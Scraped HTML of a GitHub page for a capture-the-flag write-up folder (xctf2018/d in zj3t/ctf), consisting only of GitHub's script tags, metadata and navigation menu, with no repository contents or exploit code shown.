src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf/xctf2018/d at master · zj3t/ctf · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="AA62:1F9B:4F41B66:516D286:64122698" data-pjax-transient="true"/><meta name="html-safe-nonce" content="3b9aa53581f3504519532ae6aa0c8130b830c0835d491506068e53f01f316d10" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBQTYyOjFGOUI6NEY0MUI2Njo1MTZEMjg2OjY0MTIyNjk4IiwidmlzaXRvcl9pZCI6IjkwNDkxOTEyOTU2MzIxMTQxNiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="871c653e63f2018f20529a656ec3ae787f33efa1015ba7e214fa4364d92a186f" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:118874597" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5f4f7ceb6c41fe063033336c91d4b6c143ef8534f2dd09a954ab392af43deda7/zj3t/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/xctf2018/d at master · zj3t/ctf" /><meta name="twitter:description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5f4f7ceb6c41fe063033336c91d4b6c143ef8534f2dd09a954ab392af43deda7/zj3t/ctf" /><meta property="og:image:alt" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/xctf2018/d at master · zj3t/ctf" /><meta property="og:url" content="https://github.com/zj3t/ctf" /><meta property="og:description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/zj3t/ctf git https://github.com/zj3t/ctf.git"> <meta name="octolytics-dimension-user_id" content="35731091" /><meta name="octolytics-dimension-user_login" content="zj3t" /><meta name="octolytics-dimension-repository_id" content="118874597" /><meta name="octolytics-dimension-repository_nwo" content="zj3t/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="118874597" /><meta name="octolytics-dimension-repository_network_root_nwo" content="zj3t/ctf" /> <link rel="canonical" href="https://github.com/zj3t/ctf/tree/master/xctf2018/d" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> 